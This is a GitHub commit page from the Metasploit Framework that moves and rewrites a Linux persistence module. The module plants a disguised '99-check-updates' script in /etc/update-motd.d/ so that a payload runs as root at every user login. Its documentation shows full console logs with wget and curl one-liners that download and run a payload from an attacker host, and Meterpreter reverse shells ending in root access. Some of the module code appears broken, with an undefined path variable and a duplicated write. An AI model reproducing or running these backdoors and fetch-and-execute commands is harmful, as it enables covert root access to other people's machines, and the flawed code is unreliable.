Skip to content

Commit e1e4e43

Browse files
committed
update motd to persistence mixin
1 parent 140232d commit e1e4e43

File tree

4 files changed

+228
-100
lines changed

4 files changed

+228
-100
lines changed

documentation/modules/exploit/linux/local/motd_persistence.md

Lines changed: 0 additions & 37 deletions
This file was deleted.
Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
## Vulnerable Application
2+
3+
This is a post module that performs a persistence installation on a Linux system using [motd](https://manpages.debian.org/bookworm/manpages/motd.5.en.html).
4+
To trigger the persistence execution, an external event such as a user logging in to the system with SSH is required.
5+
6+
## Verification Steps
7+
8+
1. Start msfconsole
9+
2. Obtain a session on the target machine
10+
3. `use exploit/linux/persistence/motd`
11+
4. `set session [session]`
12+
5. `exploit`
13+
14+
## Options
15+
16+
### BACKDOOR_NAME
17+
18+
Specify the name of the file to insert in the motd directory. Defaults to `99-check-updates`
19+
20+
### PAYLOAD_NAME
21+
22+
Name of the payload file if a `cmd` payload is not used. Defaults to a random name
23+
24+
## Scenarios
25+
26+
### Ubuntu 18.04.3
27+
28+
Initial access vector via web delivery
29+
30+
```
31+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
32+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
33+
verbose => true
34+
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
35+
lhost => 111.111.1.111
36+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
37+
[*] Using configured payload python/meterpreter/reverse_tcp
38+
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
39+
srvport => 8181
40+
resource (/root/.msf4/msfconsole.rc)> set target 7
41+
target => 7
42+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
43+
payload => linux/x64/meterpreter/reverse_tcp
44+
resource (/root/.msf4/msfconsole.rc)> set lport 4545
45+
lport => 4545
46+
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
47+
URIPATH => l
48+
resource (/root/.msf4/msfconsole.rc)> run
49+
[*] Exploit running as background job 0.
50+
[*] Exploit completed, but no session was created.
51+
[*] Starting persistent handler(s)...
52+
[*] Started reverse TCP handler on 111.111.1.111:4545
53+
[*] Using URL: http://111.111.1.111:8181/l
54+
[*] Server started.
55+
[*] Run the following command on the target machine:
56+
wget -qO oQN8BXNV --no-check-certificate http://111.111.1.111:8181/l; chmod +x oQN8BXNV; ./oQN8BXNV& disown
57+
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
58+
[*] Transmitting intermediate stager...(126 bytes)
59+
[*] Sending stage (3045380 bytes) to 222.222.2.222
60+
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:42870) at 2025-02-07 15:40:34 -0500
61+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
62+
[*] Starting interaction with 1...
63+
(Meterpreter 1)(/tmp) > getuid
64+
Server username: root
65+
(Meterpreter 1)(/tmp) > sysinfo
66+
Computer : ubuntu18desktop.local
67+
OS : Ubuntu 18.04 (Linux 5.4.0-150-generic)
68+
Architecture : x64
69+
BuildTuple : x86_64-linux-musl
70+
Meterpreter : x64/linux
71+
(Meterpreter 1)(/tmp) > background
72+
[*] Backgrounding session 1...
73+
```
74+
75+
Persistence
76+
77+
```
78+
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/motd
79+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
80+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > exploit
81+
[-] Msf::OptionValidateError One or more options failed to validate: SESSION.
82+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > set session 1
83+
session => 1
84+
[msf](Jobs:1 Agents:1) exploit(linux/persistence/motd) > exploit
85+
[*] Command to run on remote host: curl -so ./rpNzsXNVDsZ http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./rpNzsXNVDsZ;./rpNzsXNVDsZ&
86+
[*] Exploit running as background job 1.
87+
[*] Exploit completed, but no session was created.
88+
[msf](Jobs:2 Agents:1) exploit(linux/persistence/motd) >
89+
[*] Fetch handler listening on 111.111.1.111:8080
90+
[*] HTTP server started
91+
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
92+
[*] Started reverse TCP handler on 111.111.1.111:4444
93+
[*] Running automatic check ("set AutoCheck false" to disable)
94+
[+] The target appears to be vulnerable. /etc/update-motd.d/ is writable
95+
[*] /etc/update-motd.d/99-check-updates written
96+
[+] Payload will be triggered at user login
97+
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250207.4101/ubuntu18desktop.local_20250207.4101.rc
98+
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
99+
[*] Sending payload to 222.222.2.222 (curl/7.58.0)
100+
[*] Transmitting intermediate stager...(126 bytes)
101+
[*] Sending stage (3045380 bytes) to 222.222.2.222
102+
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:48696) at 2025-02-07 15:41:26 -0500
103+
[msf](Jobs:2 Agents:2) exploit(linux/persistence/motd) > sessions -i 2
104+
[*] Starting interaction with 2...
105+
(Meterpreter 2)(/) > getuid
106+
Server username: root
107+
```
108+
109+
### Ubuntu 22.04
110+
111+
```
112+
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence
113+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
114+
msf6 exploit(linux/local/motd_persistence) > set session -1
115+
session => -1
116+
msf6 exploit(linux/local/motd_persistence) > exploit
117+
[*] /etc/update-motd.d/99-check-updates written
118+
msf6 exploit(linux/local/motd_persistence) >
119+
[*] Sending stage (3045380 bytes) to 172.18.49.39
120+
[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400
121+
msf6 exploit(linux/local/motd_persistence) > sessions -i -1
122+
[*] Starting interaction with 2...
123+
meterpreter > getuid
124+
Server username: root
125+
meterpreter >
126+
```

modules/exploits/linux/local/motd_persistence.rb

Lines changed: 0 additions & 63 deletions
This file was deleted.
Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Post::Unix
11+
include Msf::Exploit::EXE # for generate_payload_exe
12+
include Msf::Exploit::Local::Persistence
13+
prepend Msf::Exploit::Remote::AutoCheck
14+
include Msf::Exploit::Deprecated
15+
moved_from 'exploits/linux/local/motd_persistence'
16+
17+
def initialize(info = {})
18+
super(
19+
update_info(
20+
info,
21+
'Name' => 'update-motd.d Persistence',
22+
'Description' => %q{
23+
This module will add a script in /etc/update-motd.d/ in order to persist a payload.
24+
The payload will be executed with root privileges everytime a user logs in.
25+
Root privileges are likely required to write to /etc/update-motd.d/.
26+
Verified on Ubuntu 22.04
27+
},
28+
'License' => MSF_LICENSE,
29+
'Author' => [ 'Julien Voisin' ],
30+
'Platform' => [ 'unix', 'linux' ],
31+
'Arch' => [
32+
ARCH_CMD,
33+
ARCH_X86,
34+
ARCH_X64,
35+
ARCH_ARMLE,
36+
ARCH_AARCH64,
37+
ARCH_PPC,
38+
ARCH_MIPSLE,
39+
ARCH_MIPSBE
40+
],
41+
'Payload' => {
42+
'BadChars' => '#%\n"'
43+
},
44+
'SessionTypes' => [ 'shell', 'meterpreter' ],
45+
'Targets' => [ ['Automatic', {}] ],
46+
'Privileged' => true,
47+
'DefaultTarget' => 0,
48+
'DisclosureDate' => '1999-01-01',
49+
'Notes' => {
50+
'Stability' => [CRASH_SAFE],
51+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
52+
'SideEffects' => [ARTIFACTS_ON_DISK]
53+
},
54+
'References' => [
55+
['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'],
56+
]
57+
)
58+
)
59+
register_options([
60+
OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']),
61+
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
62+
])
63+
end
64+
65+
def check
66+
return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/'
67+
return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/'
68+
69+
print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}"
70+
71+
CheckCode::Appears('/etc/update-motd.d/ is writable')
72+
end
73+
74+
def install_persistence
75+
update_path = '/etc/update-motd.d/'
76+
77+
backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}"
78+
79+
if exists? backdoor_path
80+
fail_with Failure::BadConfig, "#{backdoor_path} is already present"
81+
end
82+
83+
if payload.arch.first == 'cmd'
84+
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
85+
else
86+
backdoor_path = datastore['WritableDir']
87+
backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/"
88+
backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
89+
backdoor_path << backdoor_name
90+
print_status("Uploading payload file to #{backdoor_path}")
91+
upload_and_chmodx backdoor_path, generate_payload_exe
92+
write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n"))
93+
@clean_up_rc << "rm #{backdoor_path}\n"
94+
end
95+
96+
write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}")
97+
@clean_up_rc << "rm #{backdoor_path}\n"
98+
chmod(backdoor_path, 0o755)
99+
print_status "#{backdoor_path} written"
100+
print_good('Payload will be triggered at user login')
101+
end
102+
end

0 commit comments

Comments
 (0)